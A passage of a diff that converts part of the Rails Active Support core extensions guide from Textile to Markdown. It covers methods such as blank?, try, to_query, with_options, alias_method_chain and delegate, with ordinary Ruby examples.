-h4. Active Support Within a Ruby on Rails Application
+### Active Support Within a Ruby on Rails Application
-A Ruby on Rails application loads all Active Support unless +config.active_support.bare+ is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section.
+A Ruby on Rails application loads all Active Support unless `config.active_support.bare` is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section.
-h3. Extensions to All Objects
+Extensions to All Objects
+-------------------------
-h4. +blank?+ and +present?+
+### `blank?` and `present?`
The following values are considered to be blank in a Rails application:
-* +nil+ and +false+,
+* `nil` and `false`,
* strings composed only of whitespace (see note below),
* empty arrays and hashes, and
-* any other object that responds to +empty?+ and it is empty.
+* any other object that responds to `empty?` and it is empty.
-INFO: The predicate for strings uses the Unicode-aware character class <tt>[:space:]</tt>, so for example U+2029 (paragraph separator) is considered to be whitespace.
+INFO: The predicate for strings uses the Unicode-aware character class `[:space:]`, so for example U+2029 (paragraph separator) is considered to be whitespace.
-WARNING: Note that numbers are not mentioned, in particular 0 and 0.0 are *not* blank.
+WARNING: Note that numbers are not mentioned, in particular 0 and 0.0 are **not** blank.
-For example, this method from +ActionDispatch::Session::AbstractStore+ uses +blank?+ for checking whether a session key is present:
+For example, this method from `ActionDispatch::Session::AbstractStore` uses `blank?` for checking whether a session key is present:
-<ruby>
+```ruby
def ensure_session_key!
if @key.blank?
raise ArgumentError, 'A key is required...'
end
end
-</ruby>
+```
-The method +present?+ is equivalent to +!blank?+. This example is taken from +ActionDispatch::Http::Cache::Response+:
+The method `present?` is equivalent to `!blank?`. This example is taken from `ActionDispatch::Http::Cache::Response`:
-<ruby>
+```ruby
def set_conditional_cache_control!
return if self["Cache-Control"].present?
...
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/object/blank.rb+.
+NOTE: Defined in `active_support/core_ext/object/blank.rb`.
-h4. +presence+
+### `presence`
-The +presence+ method returns its receiver if +present?+, and +nil+ otherwise. It is useful for idioms like this:
+The `presence` method returns its receiver if `present?`, and `nil` otherwise. It is useful for idioms like this:
-<ruby>
+```ruby
host = config[:host].presence || 'localhost'
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/object/blank.rb+.
+NOTE: Defined in `active_support/core_ext/object/blank.rb`.
-h4. +duplicable?+
+### `duplicable?`
A few fundamental objects in Ruby are singletons. For example, in the whole life of a program the integer 1 refers always to the same instance:
-<ruby>
+```ruby
1.object_id # => 3
Math.cos(0).to_i.object_id # => 3
-</ruby>
+```
-Hence, there's no way these objects can be duplicated through +dup+ or +clone+:
+Hence, there's no way these objects can be duplicated through `dup` or `clone`:
-<ruby>
+```ruby
true.dup # => TypeError: can't dup TrueClass
-</ruby>
+```
Some numbers which are not singletons are not duplicable either:
-<ruby>
+```ruby
0.0.clone # => allocator undefined for Float
(2**1024).clone # => allocator undefined for Bignum
-</ruby>
+```
-Active Support provides +duplicable?+ to programmatically query an object about this property:
+Active Support provides `duplicable?` to programmatically query an object about this property:
-<ruby>
+```ruby
"".duplicable? # => true
false.duplicable? # => false
-</ruby>
+```
-By definition all objects are +duplicable?+ except +nil+, +false+, +true+, symbols, numbers, and class and module objects.
+By definition all objects are `duplicable?` except `nil`, `false`, `true`, symbols, numbers, and class and module objects.
-WARNING. Any class can disallow duplication removing +dup+ and +clone+ or raising exceptions from them, only +rescue+ can tell whether a given arbitrary object is duplicable. +duplicable?+ depends on the hard-coded list above, but it is much faster than +rescue+. Use it only if you know the hard-coded list is enough in your use case.
+WARNING. Any class can disallow duplication removing `dup` and `clone` or raising exceptions from them, only `rescue` can tell whether a given arbitrary object is duplicable. `duplicable?` depends on the hard-coded list above, but it is much faster than `rescue`. Use it only if you know the hard-coded list is enough in your use case.
-NOTE: Defined in +active_support/core_ext/object/duplicable.rb+.
+NOTE: Defined in `active_support/core_ext/object/duplicable.rb`.
-h4. +deep_dup+
+### `deep_dup`
-The +deep_dup+ method returns deep copy of a given object. Normally, when you +dup+ an object that contains other objects, ruby does not +dup+ them. If you have an array with a string, for example, it will look like this:
+The `deep_dup` method returns deep copy of a given object. Normally, when you `dup` an object that contains other objects, ruby does not `dup` them. If you have an array with a string, for example, it will look like this:
-<ruby>
+```ruby
array = ['string']
duplicate = array.dup
@@ -173,13 +176,13 @@ duplicate.first.gsub!('string', 'foo')
# first element was not duplicated, it will be changed for both arrays
array #=> ['foo']
duplicate #=> ['foo', 'another-string']
-</ruby>
+```
-As you can see, after duplicating +Array+ instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since +dup+ does not make deep copy, the string inside array is still the same object.
+As you can see, after duplicating `Array` instance, we got another object, therefore we can modify it and the original object will stay unchanged. This is not true for array's elements, however. Since `dup` does not make deep copy, the string inside array is still the same object.
-If you need a deep copy of an object, you should use +deep_dup+. Here is an example:
+If you need a deep copy of an object, you should use `deep_dup`. Here is an example:
-<ruby>
+```ruby
array = ['string']
duplicate = array.deep_dup
@@ -187,25 +190,25 @@ duplicate.first.gsub!('string', 'foo')
array #=> ['string']
duplicate #=> ['foo']
-</ruby>
+```
-If object is not duplicable, +deep_dup+ will just return this object:
+If object is not duplicable, `deep_dup` will just return this object:
-<ruby>
+```ruby
number = 1
dup = number.deep_dup
number.object_id == dup.object_id # => true
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/object/deep_dup.rb+.
+NOTE: Defined in `active_support/core_ext/object/deep_dup.rb`.
-h4. +try+
+### `try`
-When you want to call a method on an object only if it is not +nil+, the simplest way to achieve it is with conditional statements, adding unnecessary clutter. The alternative is to use +try+. +try+ is like +Object#send+ except that it returns +nil+ if sent to +nil+.
+When you want to call a method on an object only if it is not `nil`, the simplest way to achieve it is with conditional statements, adding unnecessary clutter. The alternative is to use `try`. `try` is like `Object#send` except that it returns `nil` if sent to `nil`.
Here is an example:
-<ruby>
+```ruby
# without try
unless @number.nil?
@number.next
@@ -213,32 +216,32 @@ end
# with try
@number.try(:next)
-</ruby>
+```
-Another example is this code from +ActiveRecord::ConnectionAdapters::AbstractAdapter+ where +@logger+ could be +nil+. You can see that the code uses +try+ and avoids an unnecessary check.
+Another example is this code from `ActiveRecord::ConnectionAdapters::AbstractAdapter` where `@logger` could be `nil`. You can see that the code uses `try` and avoids an unnecessary check.
-<ruby>
+```ruby
def log_info(sql, name, ms)
if @logger.try(:debug?)
name = '%s (%.1fms)' % [name || 'SQL', ms]
@logger.debug(format_log_entry(name, sql.squeeze(' ')))
end
end
-</ruby>
+```
-+try+ can also be called without arguments but a block, which will only be executed if the object is not nil:
+`try` can also be called without arguments but a block, which will only be executed if the object is not nil:
-<ruby>
+```ruby
@person.try { |p| "#{p.first_name} #{p.last_name}" }
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/object/try.rb+.
+NOTE: Defined in `active_support/core_ext/object/try.rb`.
-h4. +class_eval(*args, &block)+
+### `class_eval(*args, &block)`
-You can evaluate code in the context of any object's singleton class using +class_eval+:
+You can evaluate code in the context of any object's singleton class using `class_eval`:
-<ruby>
+```ruby
class Proc
def bind(object)
block, time = self, Time.current
@@ -251,140 +254,140 @@ class Proc
end.bind(object)
end
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/kernel/singleton_class.rb+.
+NOTE: Defined in `active_support/core_ext/kernel/singleton_class.rb`.
-h4. +acts_like?(duck)+
+### `acts_like?(duck)`
-The method +acts_like?+ provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as +String+ defines
+The method `acts_like?` provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as `String` defines
-<ruby>
+```ruby
def acts_like_string?
end
-</ruby>
+```
which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way:
-<ruby>
+```ruby
some_klass.acts_like?(:string)
-</ruby>
+```
-Rails has classes that act like +Date+ or +Time+ and follow this contract.
+Rails has classes that act like `Date` or `Time` and follow this contract.
-NOTE: Defined in +active_support/core_ext/object/acts_like.rb+.
+NOTE: Defined in `active_support/core_ext/object/acts_like.rb`.
-h4. +to_param+
+### `to_param`
-All objects in Rails respond to the method +to_param+, which is meant to return something that represents them as values in a query string, or as URL fragments.
+All objects in Rails respond to the method `to_param`, which is meant to return something that represents them as values in a query string, or as URL fragments.
-By default +to_param+ just calls +to_s+:
+By default `to_param` just calls `to_s`:
-<ruby>
+```ruby
7.to_param # => "7"
-</ruby>
+```
-The return value of +to_param+ should *not* be escaped:
+The return value of `to_param` should **not** be escaped:
-<ruby>
+```ruby
"Tom & Jerry".to_param # => "Tom & Jerry"
-</ruby>
+```
Several classes in Rails overwrite this method.
-For example +nil+, +true+, and +false+ return themselves. +Array#to_param+ calls +to_param+ on the elements and joins the result with "/":
+For example `nil`, `true`, and `false` return themselves. `Array#to_param` calls `to_param` on the elements and joins the result with "/":
-<ruby>
+```ruby
[0, true, String].to_param # => "0/true/String"
-</ruby>
+```
-Notably, the Rails routing system calls +to_param+ on models to get a value for the +:id+ placeholder. +ActiveRecord::Base#to_param+ returns the +id+ of a model, but you can redefine that method in your models. For example, given
+Notably, the Rails routing system calls `to_param` on models to get a value for the `:id` placeholder. `ActiveRecord::Base#to_param` returns the `id` of a model, but you can redefine that method in your models. For example, given
-<ruby>
+```ruby
class User
def to_param
"#{id}-#{name.parameterize}"
end
end
-</ruby>
+```
we get:
-<ruby>
+```ruby
user_path(@user) # => "/users/357-john-smith"
-</ruby>
+```
-WARNING. Controllers need to be aware of any redefinition of +to_param+ because when a request like that comes in "357-john-smith" is the value of +params[:id]+.
+WARNING. Controllers need to be aware of any redefinition of `to_param` because when a request like that comes in "357-john-smith" is the value of `params[:id]`.
-NOTE: Defined in +active_support/core_ext/object/to_param.rb+.
+NOTE: Defined in `active_support/core_ext/object/to_param.rb`.
-h4. +to_query+
+### `to_query`
-Except for hashes, given an unescaped +key+ this method constructs the part of a query string that would map such key to what +to_param+ returns. For example, given
+Except for hashes, given an unescaped `key` this method constructs the part of a query string that would map such key to what `to_param` returns. For example, given
-<ruby>
+```ruby
class User
def to_param
"#{id}-#{name.parameterize}"
end
end
-</ruby>
+```
we get:
-<ruby>
+```ruby
current_user.to_query('user') # => user=357-john-smith
-</ruby>
+```
This method escapes whatever is needed, both for the key and the value:
-<ruby>
+```ruby
account.to_query('company[name]')
-# => "company%5Bname%5D=Johnson<plus>%26<plus>Johnson"
-</ruby>
+# => "company%5Bname%5D=Johnson+%26+Johnson"
+```
so its output is ready to be used in a query string.
-Arrays return the result of applying +to_query+ to each element with <tt>_key_[]</tt> as key, and join the result with "&":
+Arrays return the result of applying `to_query` to each element with `_key_[]` as key, and join the result with "&":
-<ruby>
+```ruby
[3.4, -45.6].to_query('sample')
# => "sample%5B%5D=3.4&sample%5B%5D=-45.6"
-</ruby>
+```
-Hashes also respond to +to_query+ but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling +to_query(key)+ on its values. Then it joins the result with "&":
+Hashes also respond to `to_query` but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling `to_query(key)` on its values. Then it joins the result with "&":
-<ruby>
+```ruby
{:c => 3, :b => 2, :a => 1}.to_query # => "a=1&b=2&c=3"
-</ruby>
+```
-The method +Hash#to_query+ accepts an optional namespace for the keys:
+The method `Hash#to_query` accepts an optional namespace for the keys:
-<ruby>
+```ruby
{:id => 89, :name => "John Smith"}.to_query('user')
# => "user%5Bid%5D=89&user%5Bname%5D=John+Smith"
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/object/to_query.rb+.
+NOTE: Defined in `active_support/core_ext/object/to_query.rb`.
-h4. +with_options+
+### `with_options`
-The method +with_options+ provides a way to factor out common options in a series of method calls.
+The method `with_options` provides a way to factor out common options in a series of method calls.
-Given a default options hash, +with_options+ yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:
+Given a default options hash, `with_options` yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:
-<ruby>
+```ruby
class Account < ActiveRecord::Base
has_many :customers, :dependent => :destroy
has_many :products, :dependent => :destroy
has_many :invoices, :dependent => :destroy
has_many :expenses, :dependent => :destroy
end
-</ruby>
+```
this way:
-<ruby>
+```ruby
class Account < ActiveRecord::Base
with_options :dependent => :destroy do |assoc|
assoc.has_many :customers
@@ -393,30 +396,30 @@ class Account < ActiveRecord::Base
assoc.has_many :expenses
end
end
-</ruby>
+```
That idiom may convey _grouping_ to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this:
-<ruby>
+```ruby
I18n.with_options :locale => user.locale, :scope => "newsletter" do |i18n|
subject i18n.t :subject
body i18n.t :body, :user_name => user.name
end
-</ruby>
+```
-TIP: Since +with_options+ forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own.
+TIP: Since `with_options` forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own.
-NOTE: Defined in +active_support/core_ext/object/with_options.rb+.
+NOTE: Defined in `active_support/core_ext/object/with_options.rb`.
-h4. Instance Variables
+### Instance Variables
Active Support provides several methods to ease access to instance variables.
-h5. +instance_variable_names+
+#### `instance_variable_names`
-Ruby 1.8 and 1.9 have a method called +instance_variables+ that returns the names of the defined instance variables. But they behave differently, in 1.8 it returns strings whereas in 1.9 it returns symbols. Active Support defines +instance_variable_names+ as a portable way to obtain them as strings:
+Ruby 1.8 and 1.9 have a method called `instance_variables` that returns the names of the defined instance variables. But they behave differently, in 1.8 it returns strings whereas in 1.9 it returns symbols. Active Support defines `instance_variable_names` as a portable way to obtain them as strings:
-<ruby>
+```ruby
class C
def initialize(x, y)
@x, @y = x, y
@@ -424,18 +427,18 @@ class C
end
C.new(0, 1).instance_variable_names # => ["@y", "@x"]
-</ruby>
+```
WARNING: The order in which the names are returned is unspecified, and it indeed depends on the version of the interpreter.
-NOTE: Defined in +active_support/core_ext/object/instance_variables.rb+.
+NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`.
-h5. +instance_values+
+#### `instance_values`
-The method +instance_values+ returns a hash that maps instance variable names without "@" to their
+The method `instance_values` returns a hash that maps instance variable names without "@" to their
corresponding values. Keys are strings:
-<ruby>
+```ruby
class C
def initialize(x, y)
@x, @y = x, y
@@ -443,70 +446,71 @@ class C
end
C.new(0, 1).instance_values # => {"x" => 0, "y" => 1}
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/object/instance_variables.rb+.
+NOTE: Defined in `active_support/core_ext/object/instance_variables.rb`.
-h4. Silencing Warnings, Streams, and Exceptions
+### Silencing Warnings, Streams, and Exceptions
-The methods +silence_warnings+ and +enable_warnings+ change the value of +$VERBOSE+ accordingly for the duration of their block, and reset it afterwards:
+The methods `silence_warnings` and `enable_warnings` change the value of `$VERBOSE` accordingly for the duration of their block, and reset it afterwards:
-<ruby>
+```ruby
silence_warnings { Object.const_set "RAILS_DEFAULT_LOGGER", logger }
-</ruby>
+```
-You can silence any stream while a block runs with +silence_stream+:
+You can silence any stream while a block runs with `silence_stream`:
-<ruby>
+```ruby
silence_stream(STDOUT) do
# STDOUT is silent here
end
-</ruby>
+```
-The +quietly+ method addresses the common use case where you want to silence STDOUT and STDERR, even in subprocesses:
+The `quietly` method addresses the common use case where you want to silence STDOUT and STDERR, even in subprocesses:
-<ruby>
+```ruby
quietly { system 'bundle install' }
-</ruby>
+```
For example, the railties test suite uses that one in a few places to prevent command messages from being echoed intermixed with the progress status.
-Silencing exceptions is also possible with +suppress+. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is +kind_of?+ any of the arguments, +suppress+ captures it and returns silently. Otherwise the exception is reraised:
+Silencing exceptions is also possible with `suppress`. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is `kind_of?` any of the arguments, `suppress` captures it and returns silently. Otherwise the exception is reraised:
-<ruby>
+```ruby
# If the user is locked the increment is lost, no big deal.
suppress(ActiveRecord::StaleObjectError) do
current_user.increment! :visits
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/kernel/reporting.rb+.
+NOTE: Defined in `active_support/core_ext/kernel/reporting.rb`.
-h4. +in?+
+### `in?`
-The predicate +in?+ tests if an object is included in another object or a list of objects. An +ArgumentError+ exception will be raised if a single argument is passed and it does not respond to +include?+.
+The predicate `in?` tests if an object is included in another object or a list of objects. An `ArgumentError` exception will be raised if a single argument is passed and it does not respond to `include?`.
-Examples of +in?+:
+Examples of `in?`:
-<ruby>
+```ruby
1.in?(1,2) # => true
1.in?([1,2]) # => true
"lo".in?("hello") # => true
25.in?(30..50) # => false
1.in?(1) # => ArgumentError
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/object/inclusion.rb+.
+NOTE: Defined in `active_support/core_ext/object/inclusion.rb`.
-h3. Extensions to +Module+
+Extensions to `Module`
+----------------------
-h4. +alias_method_chain+
+### `alias_method_chain`
Using plain Ruby you can wrap methods with other methods, that's called _alias chaining_.
-For example, let's say you'd like params to be strings in functional tests, as they are in real requests, but still want the convenience of assigning integers and other kind of values. To accomplish that you could wrap +ActionController::TestCase#process+ this way in +test/test_helper.rb+:
+For example, let's say you'd like params to be strings in functional tests, as they are in real requests, but still want the convenience of assigning integers and other kind of values. To accomplish that you could wrap `ActionController::TestCase#process` this way in `test/test_helper.rb`:
-<ruby>
+```ruby
ActionController::TestCase.class_eval do
# save a reference to the original process method
alias_method :original_process, :process
@@ -517,13 +521,13 @@ ActionController::TestCase.class_eval do
original_process(action, params, session, flash, http_method)
end
end
-</ruby>
+```
-That's the method +get+, +post+, etc., delegate the work to.
+That's the method `get`, `post`, etc., delegate the work to.
-That technique has a risk, it could be the case that +:original_process+ was taken. To try to avoid collisions people choose some label that characterizes what the chaining is about:
+That technique has a risk, it could be the case that `:original_process` was taken. To try to avoid collisions people choose some label that characterizes what the chaining is about:
-<ruby>
+```ruby
ActionController::TestCase.class_eval do
def process_with_stringified_params(...)
params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
@@ -532,11 +536,11 @@ ActionController::TestCase.class_eval do
alias_method :process_without_stringified_params, :process
alias_method :process, :process_with_stringified_params
end
-</ruby>
+```
-The method +alias_method_chain+ provides a shortcut for that pattern:
+The method `alias_method_chain` provides a shortcut for that pattern:
-<ruby>
+```ruby
ActionController::TestCase.class_eval do
def process_with_stringified_params(...)
params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
@@ -544,37 +548,37 @@ ActionController::TestCase.class_eval do
end
alias_method_chain :process, :stringified_params
end
-</ruby>
+```
-Rails uses +alias_method_chain+ all over the code base. For example validations are added to +ActiveRecord::Base#save+ by wrapping the method that way in a separate module specialized in validations.
+Rails uses `alias_method_chain` all over the code base. For example validations are added to `ActiveRecord::Base#save` by wrapping the method that way in a separate module specialized in validations.
-NOTE: Defined in +active_support/core_ext/module/aliasing.rb+.
+NOTE: Defined in `active_support/core_ext/module/aliasing.rb`.
-h4. Attributes
+### Attributes
-h5. +alias_attribute+
+#### `alias_attribute`
Model attributes have a reader, a writer, and a predicate. You can alias a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (my mnemonic is they go in the same order as if you did an assignment):
-<ruby>
+```ruby
class User < ActiveRecord::Base
# let me refer to the email column as "login",
# possibly meaningful for authentication code
alias_attribute :login, :email
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/module/aliasing.rb+.
+NOTE: Defined in `active_support/core_ext/module/aliasing.rb`.
-h5. Internal Attributes
+#### Internal Attributes
When you are defining an attribute in a class that is meant to be subclassed, name collisions are a risk. That's remarkably important for libraries.
-Active Support defines the macros +attr_internal_reader+, +attr_internal_writer+, and +attr_internal_accessor+. They behave like their Ruby built-in +attr_*+ counterparts, except they name the underlying instance variable in a way that makes collisions less likely.
+Active Support defines the macros `attr_internal_reader`, `attr_internal_writer`, and `attr_internal_accessor`. They behave like their Ruby built-in `attr_*` counterparts, except they name the underlying instance variable in a way that makes collisions less likely.
-The macro +attr_internal+ is a synonym for +attr_internal_accessor+:
+The macro `attr_internal` is a synonym for `attr_internal_accessor`:
-<ruby>
+```ruby
# library
class ThirdPartyLibrary::Crawler
attr_internal :log_level
@@ -584,15 +588,15 @@ end
class MyCrawler < ThirdPartyLibrary::Crawler
attr_accessor :log_level
end
-</ruby>
+```
-In the previous example it could be the case that +:log_level+ does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own +:log_level+. Thanks to +attr_internal+ there's no collision.
+In the previous example it could be the case that `:log_level` does not belong to the public interface of the library and it is only used for development. The client code, unaware of the potential conflict, subclasses and defines its own `:log_level`. Thanks to `attr_internal` there's no collision.
-By default the internal instance variable is named with a leading underscore, +@_log_level+ in the example above. That's configurable via +Module.attr_internal_naming_format+ though, you can pass any +sprintf+-like format string with a leading +@+ and a +%s+ somewhere, which is where the name will be placed. The default is +"@_%s"+.
+By default the internal instance variable is named with a leading underscore, `@_log_level` in the example above. That's configurable via `Module.attr_internal_naming_format` though, you can pass any `sprintf`-like format string with a leading `@` and a `%s` somewhere, which is where the name will be placed. The default is `"@_%s"`.
Rails uses internal attributes in a few spots, for examples for views:
-<ruby>
+```ruby
module ActionView
class Base
attr_internal :captures
@@ -600,17 +604,17 @@ module ActionView
attr_internal :controller, :template
end
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/module/attr_internal.rb+.
+NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`.
-h5. Module Attributes
+#### Module Attributes
-The macros +mattr_reader+, +mattr_writer+, and +mattr_accessor+ are analogous to the +cattr_*+ macros defined for class. Check "Class Attributes":#class-attributes.
+The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are analogous to the `cattr_*` macros defined for class. Check [Class Attributes](#class-attributes).
For example, the dependencies mechanism uses them:
-<ruby>
+```ruby
module ActiveSupport
module Dependencies
mattr_accessor :warnings_on_first_load
@@ -627,17 +631,17 @@ module ActiveSupport
mattr_accessor :constant_watch_stack_mutex
end
end
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/module/attribute_accessors.rb+.
+NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`.
-h4. Parents
+### Parents
-h5. +parent+
+#### `parent`
-The +parent+ method on a nested named module returns the module that contains its corresponding constant:
+The `parent` method on a nested named module returns the module that contains its corresponding constant:
-<ruby>
+```ruby
module X
module Y
module Z
@@ -648,19 +652,19 @@ M = X::Y::Z
X::Y::Z.parent # => X::Y
M.parent # => X::Y
-</ruby>
+```
-If the module is anonymous or belongs to the top-level, +parent+ returns +Object+.
+If the module is anonymous or belongs to the top-level, `parent` returns `Object`.
-WARNING: Note that in that case +parent_name+ returns +nil+.
+WARNING: Note that in that case `parent_name` returns `nil`.
-NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
-h5. +parent_name+
+#### `parent_name`
-The +parent_name+ method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant:
+The `parent_name` method on a nested named module returns the fully-qualified name of the module that contains its corresponding constant:
-<ruby>
+```ruby
module X
module Y
module Z
@@ -671,19 +675,19 @@ M = X::Y::Z
X::Y::Z.parent_name # => "X::Y"
M.parent_name # => "X::Y"
-</ruby>
+```
-For top-level or anonymous modules +parent_name+ returns +nil+.
+For top-level or anonymous modules `parent_name` returns `nil`.
-WARNING: Note that in that case +parent+ returns +Object+.
+WARNING: Note that in that case `parent` returns `Object`.
-NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
-h5(#module-parents). +parents+
+#### `parents`
-The method +parents+ calls +parent+ on the receiver and upwards until +Object+ is reached. The chain is returned in an array, from bottom to top:
+The method `parents` calls `parent` on the receiver and upwards until `Object` is reached. The chain is returned in an array, from bottom to top:
-<ruby>
+```ruby
module X
module Y
module Z
@@ -694,16 +698,16 @@ M = X::Y::Z
X::Y::Z.parents # => [X::Y, X, Object]
M.parents # => [X::Y, X, Object]
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
-h4. Constants
+### Constants
-The method +local_constants+ returns the names of the constants that have been
+The method `local_constants` returns the names of the constants that have been
defined in the receiver module:
-<ruby>
+```ruby
module X
X1 = 1
X2 = 2
@@ -715,43 +719,43 @@ end
X.local_constants # => [:X1, :X2, :Y]
X::Y.local_constants # => [:Y1, :X1]
-</ruby>
+```
-The names are returned as symbols. (The deprecated method +local_constant_names+ returns strings.)
+The names are returned as symbols. (The deprecated method `local_constant_names` returns strings.)
-NOTE: Defined in +active_support/core_ext/module/introspection.rb+.
+NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
-h5. Qualified Constant Names
+#### Qualified Constant Names
-The standard methods +const_defined?+, +const_get+ , and +const_set+ accept
+The standard methods `const_defined?`, `const_get` , and `const_set` accept
bare constant names. Active Support extends this API to be able to pass
relative qualified constant names.
-The new methods are +qualified_const_defined?+, +qualified_const_get+, and
-+qualified_const_set+. Their arguments are assumed to be qualified constant
+The new methods are `qualified_const_defined?`, `qualified_const_get`, and
+`qualified_const_set`. Their arguments are assumed to be qualified constant
names relative to their receiver:
-<ruby>
+```ruby
Object.qualified_const_defined?("Math::PI") # => true
Object.qualified_const_get("Math::PI") # => 3.141592653589793
Object.qualified_const_set("Math::Phi", 1.618034) # => 1.618034
-</ruby>
+```
Arguments may be bare constant names:
-<ruby>
+```ruby
Math.qualified_const_get("E") # => 2.718281828459045
-</ruby>
+```
These methods are analogous to their builtin counterparts. In particular,
-+qualified_constant_defined?+ accepts an optional second argument to be
+`qualified_constant_defined?` accepts an optional second argument to be
able to say whether you want the predicate to look in the ancestors.
This flag is taken into account for each constant in the expression while
walking down the path.
For example, given
-<ruby>
+```ruby
module M
X = 1
end
@@ -761,40 +765,40 @@ module N
include M
end
end
-</ruby>
+```
-+qualified_const_defined?+ behaves this way:
+`qualified_const_defined?` behaves this way:
-<ruby>
+```ruby
N.qualified_const_defined?("C::X", false) # => false
N.qualified_const_defined?("C::X", true) # => true
N.qualified_const_defined?("C::X") # => true
-</ruby>
+```
As the last example implies, the second argument defaults to true,
-as in +const_defined?+.
+as in `const_defined?`.
For coherence with the builtin methods only relative paths are accepted.
-Absolute qualified constant names like +::Math::PI+ raise +NameError+.
+Absolute qualified constant names like `::Math::PI` raise `NameError`.
-NOTE: Defined in +active_support/core_ext/module/qualified_const.rb+.
+NOTE: Defined in `active_support/core_ext/module/qualified_const.rb`.
-h4. Reachable
+### Reachable
A named module is reachable if it is stored in its corresponding constant. It means you can reach the module object via the constant.
-That is what ordinarily happens, if a module is called "M", the +M+ constant exists and holds it:
+That is what ordinarily happens, if a module is called "M", the `M` constant exists and holds it:
-<ruby>
+```ruby
module M
end
M.reachable? # => true
-</ruby>
+```
But since constants and modules are indeed kind of decoupled, module objects can become unreachable:
-<ruby>
+```ruby
module M
end
@@ -813,15 +817,15 @@ end
# The constant M exists now again, and it stores a module
# object called "M", but it is a new instance.
orphan.reachable? # => false
-</ruby>
+```
-NOTE: Defined in +active_support/core_ext/module/reachable.rb+.
+NOTE: Defined in `active_support/core_ext/module/reachable.rb`.
-h4. Anonymous
+### Anonymous
A module may or may not have a name:
-<ruby>
+```ruby
module M
end
M.name # => "M"
@@ -830,21 +834,21 @@ N = Module.new
N.name # => "N"
Module.new.name # => nil
-</ruby>
+```
-You can check whether a module has a name with the predicate +anonymous?+:
+You can check whether a module has a name with the predicate `anonymous?`:
-<ruby>
+```ruby
module M
end
M.anonymous? # => false
Module.new.anonymous? # => true
-</ruby>
+```
Note that being unreachable does not imply being anonymous:
-<ruby>
+```ruby
module M
end
@@ -852,27 +856,27 @@ m = Object.send(:remove_const, :M)
m.reachable? # => false
m.anonymous? # => false
-</ruby>
+```
though an anonymous module is unreachable by definition.
-NOTE: Defined in +active_support/core_ext/module/anonymous.rb+.
+NOTE: Defined in `active_support/core_ext/module/anonymous.rb`.
-h4. Method Delegation
+### Method Delegation
-The macro +delegate+ offers an easy way to forward methods.
+The macro `delegate` offers an easy way to forward methods.
-Let's imagine that users in some application have login information in the +User+ model but name and other data in a separate +Profile+ model:
+Let's imagine that users in some application have login information in the `User` model but name and other data in a separate `Profile` model:
-<ruby>
+```ruby
class User < ActiveRecord::Base
has_one :profile
end
-</ruby>
+```
-With that configuration you get a user's name via his profile, +user.profile.name+, but it could be handy to still be able to access such attribute directly:
+With that configuration you get a user's name via his profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:
-<ruby>
+```ruby
class User < ActiveRecord::Base
has_one :profile
@@ -880,75 +884,75 @@ class User < ActiveRecord::Base
profile.name
end
end
-</ruby>
+```
-That is what +delegate+ does for you:
+That is what `delegate` does for you:
-<ruby>
+```ruby
class User < ActiveRecord::Base
has_one :profile
delegate :name, :to => :profile
end
-</ruby>
+```
It is shorter, and the intention more obvious.
The method must be public in the target.
-The +delegate+ macro accepts several methods:
+The `delegate` macro accepts several methods:
-<ruby>
+```ruby
delegate :name, :age, :address, :twitter, :to => :profile
-</ruby>
+```
-When interpolated into a string, the +:to+ option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver:
+When interpolated into a string, the `:to` option should become an expression that evaluates to the object the method is delegated to. Typically a string or symbol. Such an expression is evaluated in the context of the receiver:
-<ruby>
+```ruby
# delegates to the Rails constant
delegate :logger, :to => :Rails
# delegates to the receiver's class
delegate :table_name, :to => 'self.class'
-</ruby>
+```
-WARNING: If the +:prefix+ option is +true+ this is less generic, see below.
+WARNING: If the `:prefix` option is `true` this is less generic, see below.
